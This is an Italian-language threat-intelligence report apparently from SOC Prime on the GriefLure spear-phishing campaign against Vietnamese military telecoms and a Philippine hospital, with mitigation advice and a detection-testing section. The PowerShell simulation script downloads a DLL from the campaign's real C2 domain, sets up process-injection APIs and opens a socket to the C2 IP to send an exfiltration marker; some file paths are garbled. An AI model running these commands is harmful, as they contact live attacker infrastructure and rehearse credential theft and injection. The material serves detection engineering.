SOC Prime Bias: Critico

08 May 2026 15:40 UTC

Operazione GriefLure: Analisi di una Campagna APT che Prende di Mira le Telecomunicazioni Militari del Vietnam e la Sanità delle Filippine

Author Photo
SOC Prime Team linkedin icon Segui
Operazione GriefLure: Analisi di una Campagna APT che Prende di Mira le Telecomunicazioni Militari del Vietnam e la Sanità delle Filippine
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

Seqrite Labs ha identificato una campagna di spear-phishing mirata che si basava su file LNK di Windows dannosi nascosti all’interno di archivi RAR doppiamente compressi. All’apertura, LNK lanciava un programma nativo ftp.exe loader che ricostruiva un payload polimorfico chiamato sfsvc.exe da frammenti .doc archiviati sul computer della vittima. L’attività era rivolta a dirigenti senior del settore delle telecomunicazioni militari di proprietà statale in Vietnam e personale di un ospedale privato nelle Filippine, utilizzando documenti dall’aspetto legittimo come esca. L’intera catena di infezione si completava in meno di dieci secondi e lasciava solo minimi artefatti sul disco.

Indagine

L’indagine ha scomposto la struttura dell’archivio, mappato il percorso di esecuzione di LNK e ingegnerizzato al contrario il sfsvc.exe loader, che era progettato per assomigliare a regsvr32.exe. Gli analisti hanno documentato il sideloading DLL, l’esecuzione del codice in memoria, l’iniezione di processi e le comunicazioni di comando e controllo tramite un dominio mascherato. Una revisione degli artefatti ha scoperto anche un dominio C2 codificato, www.whatsappcenter.com, ospitato tramite un provider bulletproof a Hong Kong.

Mitigazione

I difensori dovrebbero bloccare l’esecuzione di file LNK consegnati tramite allegati email e monitorare l’uso di ftp.exe con argomenti della riga di comando sospetti. Il rilevamento degli endpoint dovrebbe concentrarsi sul caricamento DLL senza file, sulla scrittura di flussi di dati alternativi sotto C:UsersPublicUpdate, e sulla rapida creazione di sfsvc.exe. Le organizzazioni dovrebbero anche rafforzare i controlli di provenienza dei documenti ed educare gli utenti sui tentativi di esca che sembrano essere documenti legali o legati a whistleblower.

Risposta

Se viene rilevato il LNK dannoso o sfsvc.exe il processo, isolare immediatamente l’endpoint interessato, raccogliere la memoria volatile e cercare i file 360.*.dll loader e gli artefatti di flussi di dati alternativi. Il dominio di comando e controllo identificato e l’indirizzo IP correlato dovrebbero essere bloccati, e dovrebbe iniziare la risposta all’incidente per determinare se sono stati esfiltrati dati. Una caccia più ampia dovrebbe essere condotta per attività simili basate su LNK in tutto l’ambiente. ftp.exe loader activity across the environment.

Flusso di Attacco

Esecuzione di Simulazione

Prerequisito: Il Controllo Preliminare di Telemetria & Baseline deve essere stato superato.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrazione & Comandi di Attacco:
    L’attaccante, avendo guadagnato un’iniziale presa attraverso un allegato phishing (T1566.001, T1204.002), sceglie un approccio living‑off‑the‑land per evitare payload eseguibili. Usando il cmd.exe (T1059.003) incorporato, lancia una one‑liner di PowerShell che esegue i seguenti passaggi:

    1. Scoperta – enumera informazioni di sistema (T1082) e i processi in esecuzione (T1057) per decidere su un obiettivo di iniezione adatto.
    2. Raccolta di Credenziali – legge gli store del browser (T1555.003) e scarica file di credenziali(T1552.001) in una cartella staging.
    3. Recupero del Payload – scarica una DLL dannosa dal dominio C2 www.whatsappcenter.com tramite HTTPS (T1071.001, T1041).
    4. Iniezione del Processo – inietta la DLL in explorer.exe (T1055.001) per ottenere persistenza ed elevare i privilegi.
    5. Comunicazione C2 – apre una connessione TCP persistente a 38.54.122.188 (l’IP codificato) e inizia ad esfiltrare i dati raccolti.

    Il passo critico che soddisfa la regola Sigma è il tentativo di connessione in uscita al dominio/IP esatto, che sarà registrato da Sysmon e dal firewall di Windows.

  • Script di Test di Regressione:

    # -------------------------------------------------
    # Simulazione C2 GriefLure – versione PowerShell
    # -------------------------------------------------
    # 1. Scoperta di sistema (T1082, T1057)
    Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null
    Get-Process | Select-Object -First 5 | Out-Null
    
    # 2. Simula raccolta credenziali (T1555.003, T1552.001)
    $credStaging = "$env:TEMPcreds.txt"
    "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging
    
    # 3. Scarica DLL dannosa dal dominio C2 codificato (T1071.001, T1041)
    $c2Domain = "www.whatsappcenter.com"
    $c2Url = "https://$c2Domain/payload.dll"
    $dllPath = "$env:TEMPpayload.dll"
    Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing
    
    # 4. Inietta DLL in explorer.exe (T1055.001)
    $target = (Get-Process -Name explorer).Id
    $inject = @"
    using System;
    using System.Runtime.InteropServices;
    public class Injector {
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
    "@
    Add-Type $inject
    # (I passi effettivi di iniezione sono omessi per brevità; in un test reale chiameresti le API sopra.)
    
    # 5. Apri socket C2 persistente all'IP codificato (T1041)
    $c2Ip = "38.54.122.188"
    $port = 443
    $client = New-Object System.Net.Sockets.TcpClient
    $client.Connect($c2Ip, $port)
    $stream = $client.GetStream()
    $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START")
    $stream.Write($payload,0,$payload.Length)
    Start-Sleep -Seconds 5
    $stream.Close()
    $client.Close()
  • Comandi di Ripristino:

    # Rimuovi file di staging
    Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue
    
    # Chiudi eventuali connessioni TCP lingering (se ancora aperte)
    Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # Opzionalmente resetta buffer Sysmon (per una pulizia dello stato in test ripetuti)
    & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml